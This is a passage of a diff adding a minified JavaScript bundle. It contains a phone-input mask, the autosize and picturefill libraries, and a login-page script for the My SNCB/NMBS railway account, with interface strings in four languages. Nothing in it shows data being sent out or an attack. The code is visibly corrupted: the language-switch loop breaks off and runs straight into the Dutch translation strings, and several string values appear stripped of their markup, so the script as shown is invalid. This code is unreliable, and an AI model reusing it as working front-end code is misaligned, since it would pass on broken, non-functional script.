">" + }, + countrycode: "", + phoneCodes: [], + mask: function (e) { + return e.definitions = { + "#": t.prototype.definitions[9] + }, e.phoneCodes.sort(i) + }, + keepStatic: !0, + onBeforeMask: function (e, t) { + var i = e.replace(/^0{1,2}/, "").replace(/[\s]/g, ""); + return (i.indexOf(t.countrycode) > 1 || -1 === i.indexOf(t.countrycode)) && (i = "+" + t.countrycode + i), i + }, + onUnMask: function (e, t, i) { + return e.replace(/[()#-]/g, "") + }, + inputmode: "tel" + } + }), t + }) +}, function (e, t, i) { + var n, r, a; + (function (i, s) { + if (true) { + !(r = [e, t], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) + } else if (typeof t !== "undefined") { + s(e, t) + } else { + var o = { + exports: {} + }; + s(o, o.exports); + i.autosize = o.exports + } + })(this, function (e, t) { + "use strict"; + var i = typeof Map === "function" ? new Map : function () { + var e = []; + var t = []; + return { + has: function t(i) { + return e.indexOf(i) > -1 + }, + get: function i(n) { + return t[e.indexOf(n)] + }, + set: function i(n, r) { + if (e.indexOf(n) === -1) { + e.push(n); + t.push(r) + } + }, + delete: function i(n) { + var r = e.indexOf(n); + if (r > -1) { + e.splice(r, 1); + t.splice(r, 1) + } + } + } + }(); + var n = function e(t) { + return new Event(t, { + bubbles: true + }) + }; + try { + new Event("test") + } catch (e) { + n = function e(t) { + var i = document.createEvent("Event"); + i.initEvent(t, true, false); + return i + } + } + + function r(e) { + if (!e || !e.nodeName || e.nodeName !== "TEXTAREA" || i.has(e)) return; + var t = null; + var r = null; + var a = null; + + function s() { + var i = window.getComputedStyle(e, null); + if (i.resize === "vertical") { + e.style.resize = "none" + } else if (i.resize === "both") { + e.style.resize = "horizontal" + } + if (i.boxSizing === "content-box") { + t = -(parseFloat(i.paddingTop) + parseFloat(i.paddingBottom)) + } else { + t = parseFloat(i.borderTopWidth) + parseFloat(i.borderBottomWidth) + } + if (isNaN(t)) { + t = 0 + } + d() + } + + function o(t) { + { + var i = e.style.width; + e.style.width = "0px"; + e.offsetWidth; + e.style.width = i + } + e.style.overflowY = t + } + + function l(e) { + var t = []; + while (e && e.parentNode && e.parentNode instanceof Element) { + if (e.parentNode.scrollTop) { + t.push({ + node: e.parentNode, + scrollTop: e.parentNode.scrollTop + }) + } + e = e.parentNode + } + return t + } + + function u() { + if (e.scrollHeight === 0) { + return + } + var i = l(e); + var n = document.documentElement && document.documentElement.scrollTop; + e.style.height = ""; + e.style.height = e.scrollHeight + t + "px"; + r = e.clientWidth; + i.forEach(function (e) { + e.node.scrollTop = e.scrollTop + }); + if (n) { + document.documentElement.scrollTop = n + } + } + + function d() { + u(); + var t = Math.round(parseFloat(e.style.height)); + var i = window.getComputedStyle(e, null); + var r = i.boxSizing === "content-box" ? Math.round(parseFloat(i.height)) : e.offsetHeight; + if (r < t) { + if (i.overflowY === "hidden") { + o("scroll"); + u(); + r = i.boxSizing === "content-box" ? Math.round(parseFloat(window.getComputedStyle(e, null).height)) : e.offsetHeight + } + } else { + if (i.overflowY !== "hidden") { + o("hidden"); + u(); + r = i.boxSizing === "content-box" ? Math.round(parseFloat(window.getComputedStyle(e, null).height)) : e.offsetHeight + } + } + if (a !== r) { + a = r; + var s = n("autosize:resized"); + try { + e.dispatchEvent(s) + } catch (e) {} + } + } + var f = function t() { + if (e.clientWidth !== r) { + d() + } + }; + var c = function (t) { + window.removeEventListener("resize", f, false); + e.removeEventListener("input", d, false); + e.removeEventListener("keyup", d, false); + e.removeEventListener("autosize:destroy", c, false); + e.removeEventListener("autosize:update", d, false); + Object.keys(t).forEach(function (i) { + e.style[i] = t[i] + }); + i.delete(e) + }.bind(e, { + height: e.style.height, + resize: e.style.resize, + overflowY: e.style.overflowY, + overflowX: e.style.overflowX, + wordWrap: e.style.wordWrap + }); + e.addEventListener("autosize:destroy", c, false); + if ("onpropertychange" in e && "oninput" in e) { + e.addEventListener("keyup", d, false) + } + window.addEventListener("resize", f, false); + e.addEventListener("input", d, false); + e.addEventListener("autosize:update", d, false); + e.style.overflowX = "hidden"; + e.style.wordWrap = "break-word"; + i.set(e, { + destroy: c, + update: d + }); + s() + } + + function a(e) { + var t = i.get(e); + if (t) { + t.destroy() + } + } + + function s(e) { + var t = i.get(e); + if (t) { + t.update() + } + } + var o = null; + if (typeof window === "undefined" || typeof window.getComputedStyle !== "function") { + o = function e(t) { + return t + }; + o.destroy = function (e) { + return e + }; + o.update = function (e) { + return e + } + } else { + o = function e(t, i) { + if (t) { + Array.prototype.forEach.call(t.length ? t : [t], function (e) { + return r(e, i) + }) + } + return t + }; + o.destroy = function (e) { + if (e) { + Array.prototype.forEach.call(e.length ? e : [e], a) + } + return e + }; + o.update = function (e) { + if (e) { + Array.prototype.forEach.call(e.length ? e : [e], s) + } + return e + } + } + t.default = o; + e.exports = t["default"] + }) +}, function (e, t, i) { + var n; + (function (e) { + var t = navigator.userAgent; + if (e.HTMLPictureElement && (/ecko/.test(t) && t.match(/rv\:(\d+)/) && RegExp.$1 < 45)) { + addEventListener("resize", function () { + var t; + var i = document.createElement("source"); + var n = function (e) { + var t, n; + var r = e.parentNode; + if (r.nodeName.toUpperCase() === "PICTURE") { + t = i.cloneNode(); + r.insertBefore(t, r.firstElementChild); + setTimeout(function () { + r.removeChild(t) + }) + } else if (!e._pfLastSize || e.offsetWidth > e._pfLastSize) { + e._pfLastSize = e.offsetWidth; + n = e.sizes; + e.sizes += ",100vw"; + setTimeout(function () { + e.sizes = n + }) + } + }; + var r = function () { + var e; + var t = document.querySelectorAll("picture > img, img[srcset][sizes]"); + for (e = 0; e < t.length; e++) { + n(t[e]) + } + }; + var a = function () { + clearTimeout(t); + t = setTimeout(r, 99) + }; + var s = e.matchMedia && matchMedia("(orientation: landscape)"); + var o = function () { + a(); + if (s && s.addListener) { + s.addListener(a) + } + }; + i.srcset = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="; + if (/^[c|i]|d$/.test(document.readyState || "")) { + o() + } else { + document.addEventListener("DOMContentLoaded", o) + } + return a + }()) + } + })(window); + (function (r, a, s) { + "use strict"; + a.createElement("picture"); + var o, l, u, d; + var f = {}; + var c = false; + var h = function () {}; + var m = a.createElement("img"); + var p = m.getAttribute; + var v = m.setAttribute; + var _ = m.removeAttribute; + var g = a.documentElement; + var y = {}; + var b = { + algorithm: "" + }; + var w = "data-pfsrc"; + var M = w + "set"; + var k = navigator.userAgent; + var L = /rident/.test(k) || /ecko/.test(k) && k.match(/rv\:(\d+)/) && RegExp.$1 > 35; + var T = "currentSrc"; + var x = /\s+\+?\d+(e\d+)?w/; + var S = /(\([^)]+\))?\s*(.+)/; + var Y = r.picturefillCFG; + var D = "position:absolute;left:0;visibility:hidden;display:block;padding:0;border:none;font-size:1em;width:1em;overflow:hidden;clip:rect(0px, 0px, 0px, 0px)"; + var E = "font-size:100%!important;"; + var C = true; + var P = {}; + var A = {}; + var O = r.devicePixelRatio; + var j = { + px: 1, + in: 96 + }; + var H = a.createElement("a"); + var I = false; + var F = /^[ \t\n\r\u000c]+/, + z = /^[, \t\n\r\u000c]+/, + R = /^[^ \t\n\r\u000c]+/, + N = /[,]+$/, + W = /^\d+$/, + B = /^-?(?:[0-9]+|[0-9]*\.[0-9]+)(?:[eE][+-]?[0-9]+)?$/; + var q = function (e, t, i, n) { + if (e.addEventListener) { + e.addEventListener(t, i, n || false) + } else if (e.attachEvent) { + e.attachEvent("on" + t, i) + } + }; + var $ = function (e) { + var t = {}; + return function (i) { + if (!(i in t)) { + t[i] = e(i) + } + return t[i] + } + }; + + function V(e) { + return e === " " || e === "\t" || e === "\n" || e === "\f" || e === "\r" + } + var G = function () { + var e = /^([\d\.]+)(em|vw|px)$/; + var t = function () { + var e = arguments, + t = 0, + i = e[0]; + while (++t in e) { + i = i.replace(e[t], e[++t]) + } + return i + }; + var i = $(function (e) { + return "return " + t((e || "").toLowerCase(), /\band\b/g, "&&", /,/g, "||", /min-([a-z-\s]+):/g, "e.$1>=", /max-([a-z-\s]+):/g, "e.$1<=", /calc([^)]+)/g, "($1)", /(\d+[\.]*[\d]*)([a-z]+)/g, "($1 * e.$2)", /^(?!(e.[a-z]|[0-9\.&=|><\+\-\*\(\)\/])).*/gi, "") + ";" + }); + return function (t, n) { + var r; + if (!(t in P)) { + P[t] = false; + if (n && (r = t.match(e))) { + P[t] = r[1] * j[r[2]] + } else { + try { + P[t] = new Function("e", i(t))(j) + } catch (e) {} + } + } + return P[t] + } + }(); + var U = function (e, t) { + if (e.w) { + e.cWidth = f.calcListLength(t || "100vw"); + e.res = e.w / e.cWidth + } else { + e.res = e.d + } + return e + }; + var X = function (e) { + if (!c) { + return + } + var t, i, n; + var r = e || {}; + if (r.elements && r.elements.nodeType === 1) { + if (r.elements.nodeName.toUpperCase() === "IMG") { + r.elements = [r.elements] + } else { + r.context = r.elements; + r.elements = null + } + } + t = r.elements || f.qsa(r.context || a, r.reevaluate || r.reselect ? f.sel : f.selShort); + if (n = t.length) { + f.setupRun(r); + I = true; + for (i = 0; i < n; i++) { + f.fillImg(t[i], r) + } + f.teardownRun(r) + } + }; + o = r.console && console.warn ? function (e) { + console.warn(e) + } : h; + if (!(T in m)) { + T = "src" + } + y["image/jpeg"] = true; + y["image/gif"] = true; + y["image/png"] = true; + + function J(e, t) { + var i = new r.Image; + i.onerror = function () { + y[e] = false; + X() + }; + i.onload = function () { + y[e] = i.width === 1; + X() + }; + i.src = t; + return "pending" + } + y["image/svg+xml"] = a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image", "1.1"); + + function K() { + C = false; + O = r.devicePixelRatio; + P = {}; + A = {}; + f.DPR = O || 1; + j.width = Math.max(r.innerWidth || 0, g.clientWidth); + j.height = Math.max(r.innerHeight || 0, g.clientHeight); + j.vw = j.width / 100; + j.vh = j.height / 100; + d = [j.height, j.width, O].join("-"); + j.em = f.getEmValue(); + j.rem = j.em + } + + function Q(e, t, i, n) { + var r, a, s, o; + if (b.algorithm === "saveData") { + if (e > 2.7) { + o = i + 1 + } else { + a = t - i; + r = Math.pow(e - .6, 1.5); + s = a * r; + if (n) { + s += .1 * r + } + o = e + s + } + } else { + o = i > 1 ? Math.sqrt(e * t) : e + } + return o > i + } + + function Z(e) { + var t; + var i = f.getSet(e); + var n = false; + if (i !== "pending") { + n = d; + if (i) { + t = f.setRes(i); + f.applySetCandidate(t, e) + } + } + e[f.ns].evaled = n + } + + function ee(e, t) { + return e.res - t.res + } + + function te(e, t, i) { + var n; + if (!i && t) { + i = e[f.ns].sets; + i = i && i[i.length - 1] + } + n = ie(t, i); + if (n) { + t = f.makeUrl(t); + e[f.ns].curSrc = t; + e[f.ns].curCan = n; + if (!n.res) { + U(n, n.set.sizes) + } + } + return n + } + + function ie(e, t) { + var i, n, r; + if (e && t) { + r = f.parseSet(t); + e = f.makeUrl(e); + for (i = 0; i < r.length; i++) { + if (e === f.makeUrl(r[i].url)) { + n = r[i]; + break + } + } + } + return n + } + + function ne(e, t) { + var i, n, r, a; + var s = e.getElementsByTagName("source"); + for (i = 0, n = s.length; i < n; i++) { + r = s[i]; + r[f.ns] = true; + a = r.getAttribute("srcset"); + if (a) { + t.push({ + srcset: a, + media: r.getAttribute("media"), + type: r.getAttribute("type"), + sizes: r.getAttribute("sizes") + }) + } + } + } + + function re(e, t) { + function i(t) { + var i, n = t.exec(e.substring(u)); + if (n) { + i = n[0]; + u += i.length; + return i + } + } + var n = e.length, + r, a, s, o, l, u = 0, + d = []; + + function f() { + var e = false, + i, n, s, o, l = {}, + u, f, c, h, m; + for (o = 0; o < a.length; o++) { + u = a[o]; + f = u[u.length - 1]; + c = u.substring(0, u.length - 1); + h = parseInt(c, 10); + m = parseFloat(c); + if (W.test(c) && f === "w") { + if (i || n) { + e = true + } + if (h === 0) { + e = true + } else { + i = h + } + } else if (B.test(c) && f === "x") { + if (i || n || s) { + e = true + } + if (m < 0) { + e = true + } else { + n = m + } + } else if (W.test(c) && f === "h") { + if (s || n) { + e = true + } + if (h === 0) { + e = true + } else { + s = h + } + } else { + e = true + } + } + if (!e) { + l.url = r; + if (i) { + l.w = i + } + if (n) { + l.d = n + } + if (s) { + l.h = s + } + if (!s && !n && !i) { + l.d = 1 + } + if (l.d === 1) { + t.has1x = true + } + l.set = t; + d.push(l) + } + } + + function c() { + i(F); + s = ""; + o = "in descriptor"; + while (true) { + l = e.charAt(u); + if (o === "in descriptor") { + if (V(l)) { + if (s) { + a.push(s); + s = ""; + o = "after descriptor" + } + } else if (l === ",") { + u += 1; + if (s) { + a.push(s) + } + f(); + return + } else if (l === "(") { + s = s + l; + o = "in parens" + } else if (l === "") { + if (s) { + a.push(s) + } + f(); + return + } else { + s = s + l + } + } else if (o === "in parens") { + if (l === ")") { + s = s + l; + o = "in descriptor" + } else if (l === "") { + a.push(s); + f(); + return + } else { + s = s + l + } + } else if (o === "after descriptor") { + if (V(l)) {} else if (l === "") { + f(); + return + } else { + o = "in descriptor"; + u -= 1 + } + } + u += 1 + } + } + while (true) { + i(z); + if (u >= n) { + return d + } + r = i(R); + a = []; + if (r.slice(-1) === ",") { + r = r.replace(N, ""); + f() + } else { + c() + } + } + } + + function ae(e) { + var t = /^(?:[+-]?[0-9]+|[0-9]*\.[0-9]+)(?:[eE][+-]?[0-9]+)?(?:ch|cm|em|ex|in|mm|pc|pt|px|rem|vh|vmin|vmax|vw)$/i; + var i = /^calc\((?:[0-9a-z \.\+\-\*\/\(\)]+)\)$/i; + var n; + var r; + var a; + var s; + var o; + var l; + + function u(e) { + var t; + var i = ""; + var n = []; + var r = []; + var a = 0; + var s = 0; + var o = false; + + function l() { + if (i) { + n.push(i); + i = "" + } + } + + function u() { + if (n[0]) { + r.push(n); + n = [] + } + } + while (true) { + t = e.charAt(s); + if (t === "") { + l(); + u(); + return r + } else if (o) { + if (t === "*" && e[s + 1] === "/") { + o = false; + s += 2; + l(); + continue + } else { + s += 1; + continue + } + } else if (V(t)) { + if (e.charAt(s - 1) && V(e.charAt(s - 1)) || !i) { + s += 1; + continue + } else if (a === 0) { + l(); + s += 1; + continue + } else { + t = " " + } + } else if (t === "(") { + a += 1 + } else if (t === ")") { + a -= 1 + } else if (t === ",") { + l(); + u(); + s += 1; + continue + } else if (t === "/" && e.charAt(s + 1) === "*") { + o = true; + s += 2; + continue + } + i = i + t; + s += 1 + } + } + + function d(e) { + if (t.test(e) && parseFloat(e) >= 0) { + return true + } + if (i.test(e)) { + return true + } + if (e === "0" || e === "-0" || e === "+0") { + return true + } + return false + } + r = u(e); + a = r.length; + for (n = 0; n < a; n++) { + s = r[n]; + o = s[s.length - 1]; + if (d(o)) { + l = o; + s.pop() + } else { + continue + } + if (s.length === 0) { + return l + } + s = s.join(" "); + if (!f.matchesMedia(s)) { + continue + } + return l + } + return "100vw" + } + f.ns = ("pf" + (new Date).getTime()).substr(0, 9); + f.supSrcset = "srcset" in m; + f.supSizes = "sizes" in m; + f.supPicture = !!r.HTMLPictureElement; + if (f.supSrcset && f.supPicture && !f.supSizes) { + (function (e) { + m.srcset = "data:,a"; + e.src = "data:,a"; + f.supSrcset = m.complete === e.complete; + f.supPicture = f.supSrcset && f.supPicture + })(a.createElement("img")) + } + if (f.supSrcset && !f.supSizes) { + (function () { + var e = "data:image/gif;base64,R0lGODlhAgABAPAAAP///wAAACH5BAAAAAAALAAAAAACAAEAAAICBAoAOw=="; + var t = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="; + var i = a.createElement("img"); + var n = function () { + var e = i.width; + if (e === 2) { + f.supSizes = true + } + u = f.supSrcset && !f.supSizes; + c = true; + setTimeout(X) + }; + i.onload = n; + i.onerror = n; + i.setAttribute("sizes", "9px"); + i.srcset = t + " 1w," + e + " 9w"; + i.src = t + })() + } else { + c = true + } + f.selShort = "picture>img,img[srcset]"; + f.sel = f.selShort; + f.cfg = b; + f.DPR = O || 1; + f.u = j; + f.types = y; + f.setSize = h; + f.makeUrl = $(function (e) { + H.href = e; + return H.href + }); + f.qsa = function (e, t) { + return "querySelector" in e ? e.querySelectorAll(t) : [] + }; + f.matchesMedia = function () { + if (r.matchMedia && (matchMedia("(min-width: 0.1em)") || {}).matches) { + f.matchesMedia = function (e) { + return !e || matchMedia(e).matches + } + } else { + f.matchesMedia = f.mMQ + } + return f.matchesMedia.apply(this, arguments) + }; + f.mMQ = function (e) { + return e ? G(e) : true + }; + f.calcLength = function (e) { + var t = G(e, true) || false; + if (t < 0) { + t = false + } + return t + }; + f.supportsType = function (e) { + return e ? y[e] : true + }; + f.parseSize = $(function (e) { + var t = (e || "").match(S); + return { + media: t && t[1], + length: t && t[2] + } + }); + f.parseSet = function (e) { + if (!e.cands) { + e.cands = re(e.srcset, e) + } + return e.cands + }; + f.getEmValue = function () { + var e; + if (!l && (e = a.body)) { + var t = a.createElement("div"), + i = g.style.cssText, + n = e.style.cssText; + t.style.cssText = D; + g.style.cssText = E; + e.style.cssText = E; + e.appendChild(t); + l = t.offsetWidth; + e.removeChild(t); + l = parseFloat(l, 10); + g.style.cssText = i; + e.style.cssText = n + } + return l || 16 + }; + f.calcListLength = function (e) { + if (!(e in A) || b.uT) { + var t = f.calcLength(ae(e)); + A[e] = !t ? j.width : t + } + return A[e] + }; + f.setRes = function (e) { + var t; + if (e) { + t = f.parseSet(e); + for (var i = 0, n = t.length; i < n; i++) { + U(t[i], e.sizes) + } + } + return t + }; + f.setRes.res = U; + f.applySetCandidate = function (e, t) { + if (!e.length) { + return + } + var i, n, r, a, s, o, l, u, d; + var c = t[f.ns]; + var h = f.DPR; + o = c.curSrc || t[T]; + l = c.curCan || te(t, o, e[0].set); + if (l && l.set === e[0].set) { + d = L && !t.complete && l.res - .1 > h; + if (!d) { + l.cached = true; + if (l.res >= h) { + s = l + } + } + } + if (!s) { + e.sort(ee); + a = e.length; + s = e[a - 1]; + for (n = 0; n < a; n++) { + i = e[n]; + if (i.res >= h) { + r = n - 1; + if (e[r] && (d || o !== f.makeUrl(i.url)) && Q(e[r].res, i.res, h, e[r].cached)) { + s = e[r] + } else { + s = i + } + break + } + } + } + if (s) { + u = f.makeUrl(s.url); + c.curSrc = u; + c.curCan = s; + if (u !== o) { + f.setSrc(t, s) + } + f.setSize(t) + } + }; + f.setSrc = function (e, t) { + var i; + e.src = t.url; + if (t.set.type === "image/svg+xml") { + i = e.style.width; + e.style.width = e.offsetWidth + 1 + "px"; + if (e.offsetWidth + 1) { + e.style.width = i + } + } + }; + f.getSet = function (e) { + var t, i, n; + var r = false; + var a = e[f.ns].sets; + for (t = 0; t < a.length && !r; t++) { + i = a[t]; + if (!i.srcset || !f.matchesMedia(i.media) || !(n = f.supportsType(i.type))) { + continue + } + if (n === "pending") { + i = n + } + r = i; + break + } + return r + }; + f.parseSets = function (e, t, i) { + var n, r, a, o; + var l = t && t.nodeName.toUpperCase() === "PICTURE"; + var d = e[f.ns]; + if (d.src === s || i.src) { + d.src = p.call(e, "src"); + if (d.src) { + v.call(e, w, d.src) + } else { + _.call(e, w) + } + } + if (d.srcset === s || i.srcset || !f.supSrcset || e.srcset) { + n = p.call(e, "srcset"); + d.srcset = n; + o = true + } + d.sets = []; + if (l) { + d.pic = true; + ne(t, d.sets) + } + if (d.srcset) { + r = { + srcset: d.srcset, + sizes: p.call(e, "sizes") + }; + d.sets.push(r); + a = (u || d.src) && x.test(d.srcset || ""); + if (!a && d.src && !ie(d.src, r) && !r.has1x) { + r.srcset += ", " + d.src; + r.cands.push({ + url: d.src, + d: 1, + set: r + }) + } + } else if (d.src) { + d.sets.push({ + srcset: d.src, + sizes: null + }) + } + d.curCan = null; + d.curSrc = s; + d.supported = !(l || r && !f.supSrcset || a && !f.supSizes); + if (o && f.supSrcset && !d.supported) { + if (n) { + v.call(e, M, n); + e.srcset = "" + } else { + _.call(e, M) + } + } + if (d.supported && !d.srcset && (!d.src && e.src || e.src !== f.makeUrl(d.src))) { + if (d.src === null) { + e.removeAttribute("src") + } else { + e.src = d.src + } + } + d.parsed = true + }; + f.fillImg = function (e, t) { + var i; + var n = t.reselect || t.reevaluate; + if (!e[f.ns]) { + e[f.ns] = {} + } + i = e[f.ns]; + if (!n && i.evaled === d) { + return + } + if (!i.parsed || t.reevaluate) { + f.parseSets(e, e.parentNode, t) + } + if (!i.supported) { + Z(e) + } else { + i.evaled = d + } + }; + f.setupRun = function () { + if (!I || C || O !== r.devicePixelRatio) { + K() + } + }; + if (f.supPicture) { + X = h; + f.fillImg = h + } else { + (function () { + var e; + var t = r.attachEvent ? /d$|^c/ : /d$|^c|^i/; + var i = function () { + var r = a.readyState || ""; + n = setTimeout(i, r === "loading" ? 200 : 999); + if (a.body) { + f.fillImgs(); + e = e || t.test(r); + if (e) { + clearTimeout(n) + } + } + }; + var n = setTimeout(i, a.body ? 9 : 99); + var s = function (e, t) { + var i, n; + var r = function () { + var a = new Date - n; + if (a < t) { + i = setTimeout(r, t - a) + } else { + i = null; + e() + } + }; + return function () { + n = new Date; + if (!i) { + i = setTimeout(r, t) + } + } + }; + var o = g.clientHeight; + var l = function () { + C = Math.max(r.innerWidth || 0, g.clientWidth) !== j.width || g.clientHeight !== o; + o = g.clientHeight; + if (C) { + f.fillImgs() + } + }; + q(r, "resize", s(l, 99)); + q(a, "readystatechange", i) + })() + } + f.picturefill = X; + f.fillImgs = X; + f.teardownRun = h; + X._ = f; + r.picturefillCFG = { + pf: f, + push: function (e) { + var t = e.shift(); + if (typeof f[t] === "function") { + f[t].apply(f, e) + } else { + b[t] = e[0]; + if (I) { + f.fillImgs({ + reselect: true + }) + } + } + } + }; + while (Y && Y.length) { + r.picturefillCFG.push(Y.shift()) + } + r.picturefill = X; + if (typeof e === "object" && typeof e.exports === "object") { + e.exports = X + } else if (true) { + !(n = function () { + return X + }.call(t, i, t, e), n !== s && (e.exports = n)) + } + if (!f.supPicture) { + y["image/webp"] = J("image/webp", "data:image/webp;base64,UklGRkoAAABXRUJQVlA4WAoAAAAQAAAAAAAAAAAAQUxQSAwAAAABBxAR/Q9ERP8DAABWUDggGAAAADABAJ0BKgEAAQADADQlpAADcAD++/1QAA==") + } + })(window, document) +}, function (e, t, i) { + "use strict"; + (function () { + var e = document.querySelectorAll("[data-locale]"); + var t = document.querySelector("html").getAttribute("lang"); + var i = $("#input1"); + var n = $("#input2"); + var r = $("#loginForm"); + var a = document.querySelector("html").getAttribute("lang"); + var s = document.querySelector("input[name=formLang]"); + var o = document.querySelectorAll('[data-lang-link="' + t + '"]'); + var l = false; + s.setAttribute("value", a); + i.on("blur", function () { + return _(i) + }); + n.on("blur", function () { + return g(n) + }); + r.on("submit", function () { + return y(i, n) + }); + m(); + for (var u = 0, d = o.length; u < d; ++u) { + o[u].classList.remove("display-none") + } + for (var f = 0, c = e.length; f < c; ++f) { + e[f].lang = e[f].getAttribute("data-locale"); + e[f].addEventListener("click", h) + } + + function h() { + var e = document.querySelector("html"); + var t = e.getAttribute("lang"); + var i = document.querySelectorAll('[data-lang-link="' + t + '"]'); + for (var n = 0, r = i.length; n < r; ++n) { + i[n].classList.add("display-none") + } + var a = document.querySelectorAll('[data-lang-link="' + this.lang + '"]'); + for (var s = 0, o = a.length; s < o; ++s) { + a[s].classList.remove("display-none") + } + e.setAttribute("lang", this.lang) + } + function updateMetaContent(newMetaContent) { + $("meta").each(function () { + if ($(this).attr("name") == "description") { + $(this).attr("content", newMetaContent); + }; + }); + } + jQuery(document).ready(function () { + let l = document.querySelector("html").getAttribute("lang") + let bl = navigator.language.split('-')[0] + let lang = l && l != "$lang" ? l : bl + document.querySelector("html").setAttribute("lang", lang) + + function langCheck(){ + let lang = document.querySelector("html").getAttribute("lang") + let langSwitches =document.querySelectorAll('.lang-switch') + for(let i=0; iKoop en vernieuw een abonnement in enkele kliks', + rep3: 'Download je reizigersattest (geldig voor uw belastingaangifte)', + rep4: 'Controleer het saldo van je elektronische portefeuille', + rep5: 'Reserveer online assistentie bij beperkte mobiliteit', + rep23: + 'Gratis toegang tot wifi in het station', + rep6: "My NMBS", + rep7: "Maak met je My NMBS-account gebruik van al onze gepersonaliseerde online diensten. Om een abonnement te verlengen, heb je een My NMBS-account nodig.", + rep8: "Login", + rep9: "E-mailadres:", + rep10: "Wachtwoord:", + rep11: + 'Inloggen', + rep12: "Wachtwoord vergeten?", + rep13: "Geen bevestigingsmail ontvangen?", + rep14: "Onthoud mij", + rep15: "Nog geen account?", + rep16: + "Maak een online account aan in slechts enkele klikken om je bestelling verder te zetten en te genieten van de voordelen van My NMBS.", + rep17: "Maak een account aan", + rep18: "My NMBS: Log je in op je klantenprofiel | NMBS", + rep19: + 'nl', + rep20: "Gelieve een geldig e-mail adres in te geven", + rep21: "Gelieve je paswoord in te geven", + rep22: " ", + rep24: + "Log je hier in op je Mijn NMBS-account: verleng je abonnement, download je passagierscertificaten of profiteer van gratis wifi in het station. Geen account ? Maak er een aan in een handomdraai!", + rep25: "Wachtwoord weergeven", + rep26: "Wachtwoord verbergen", + }, + fr: { + rep1: "Les avantages de votre compte My SNCB :", + rep2: 'Achetez et renouvelez un abonnement en quelques clics', + rep3: 'Téléchargez votre attestation voyageur (valable pour votre déclaration fiscale)', + rep4: 'Consultez le solde de votre porte-feuille électronique', + rep5: 'Réservez une assistance mobilité réduite en ligne', + rep23: + 'Accédez gratuitement au wifi en gare', + rep6: "My SNCB", + rep7: "Avec votre compte My SNCB, profitez de tous nos services pratiques personnalisés en ligne. Pour renouveler un abonnement, vous avez besoin d’un compte My SNCB.", + rep8: "Login", + rep9: "Adresse e-mail:", + rep10: "Mot de passe:", + rep11: + 'Se connecter', + rep12: "Mot de passe oublié?", + rep13: "Pas reçu l’e-mail d’activation?", + rep14: "Se souvenir de moi", + rep15: "Pas encore de compte?", + rep16: + "Créez votre compte en ligne en quelques clics pour poursuivre votre commande et profiter des nombreux avantages de My SNCB.", + rep17: "Créez votre compte", + rep18: "My SNCB : Se connecter à votre espace client | SNCB", + rep19: + 'fr', + rep20: "Veuillez saisir une adresse e-mail valide", + rep21: "Veuillez saisir votre mot de passe", + rep22: " ", + rep24: + "Accédez ici à votre compte My SNCB : renouvelez votre abonnement, téléchargez vos attestations voyageur ou profitez du wifi gratuit en gare. Pas encore de compte ? Créez le vôtre en quelques clics!", + rep25: "Afficher le mot de passe", + rep26: "Masquer le mot de passe", + }, + de: { + rep1: "Die Vorteile Ihres My SNCB-Kontos:", + rep2: 'Kaufen und erneuern Sie ein Abonnement mit wenigen Klicks', + rep3: 'Laden Sie Ihre Steuerbescheinigung herunter (gültig für Ihre Steuererklärung)', + rep4: 'Überprüfen Sie Ihr elektronisches Portemonnaie Guthaben', + rep5: 'Hilfe für eingeschränkte Mobilität online buchen', + rep23: + 'Freier Zugang zu WiFi in der Station', + rep6: "My SNCB/NMBS", + rep7: "Nutzen Sie unsere praktischen online Services mit Ihrem My SNCB/NMBS Konto.", + rep8: "Einloggen", + rep9: "E-Mail-Adresse:", + rep10: "Passwort:", + rep11: + 'Einloggen', + rep12: "Passwort vergessen?", + rep13: "Aktivierungsmail nicht erhalten?", + rep14: "Angemeldet bleiben", + rep15: "Neu bei My SNCB/NMBS?", + rep16: + "Melden Sie sich an, um Ihre Buchung fortzusetzen oder die My SNCB/NMBS Vorteile zu nutzen.", + rep17: "Ihr Konto erstellen", + rep18: "My SNCB: Ihr Kundenbereich | SNCB", + rep19: + 'de', + rep20: "Bitte geben Sie eine gültige E-Mail-Adresse ein", + rep21: "Bitte geben Sie Ihr Passwort ein", + rep22: " ", + rep24: + "Greifen Sie hier auf Ihr My SNCB-Konto zu: Erneuern Sie Ihr Abonnement, nutzen Sie das kostenlose WIFI am Bahnhof oder laden Sie Ihre Reisezertifikate herunter. Noch kein Konto? Erstellen Sie Ihre mit wenigen Klicks!", + rep25: "Passwort anzeigen", + rep26: "Passwort ausblenden", + }, + en: { + rep1: "The benefits of your My SNCB account :", + rep2: 'Buy and renew your season ticket in a few clicks', + rep3: 'Download your traveller certificate (valid for your tax return)', + rep4: 'View the balance of your eWallet', + rep5: 'Book your reduced mobility assistance online', + rep23: + 'Free access to wifi in the station', + rep6: "My SNCB/NMBS", + rep7: "With your own My SNCB/NMBS account, take advantage of all our online personalised, practical services.", + rep8: "Login", + rep9: "Email address:", + rep10: "Password:", + rep11: + 'Login', + rep12: "Reset your password", + rep13: "Resend activation email", + rep14: "Remember me", + rep15: "Don’t have an account yet?", + rep16: + "Create your online account, which just takes a few clicks to complete the process, and take advantage of the numerous advantages of My SNCB/NMBS.", + rep17: "Create your account", + rep18: "My SNCB: Log in to your customer account | SNCB", + rep19: + 'en', + rep20: "Please enter a valid email", + rep21: "Please enter your password", + rep22: " ", + rep24: + "Access your My SNCB account here: renew your Season Ticket, enjoy free wifi at the station or download your travel certificates. Don't have an account yet? get one in just a few clicks!", + rep25: "Show password", + rep26: "Hide password", + }, + }); + e() + }); + + function m() { + var e = document.querySelector(".input__pwd-eye-crossing"); + if (e) { + e.addEventListener("click", p) + + setTimeout(() => { + e.setAttribute('title', $.i18n( 'rep25' )) + e.setAttribute('data-title-hidePwd', $.i18n( 'rep26' )) + e.setAttribute('data-title-showPwd', $.i18n( 'rep25' )) + e.setAttribute('title', $.i18n( 'rep25' )) + }, 100); + } + } + + function p() { + var e = document.querySelector(".input__pwd-eye-crossing"); + if (l) { + e.classList.remove("is-active"); + document.getElementById("input2").setAttribute("type", "password") + } else { + e.classList.add("is-active"); + document.getElementById("input2").setAttribute("type", "text") + } + pp() + l = !l + } + + function pp(){ + let e = document.querySelector(".input__pwd-eye-crossing"); + if(l) + e.setAttribute('title', $.i18n( 'rep25' )) + else + e.setAttribute('title', 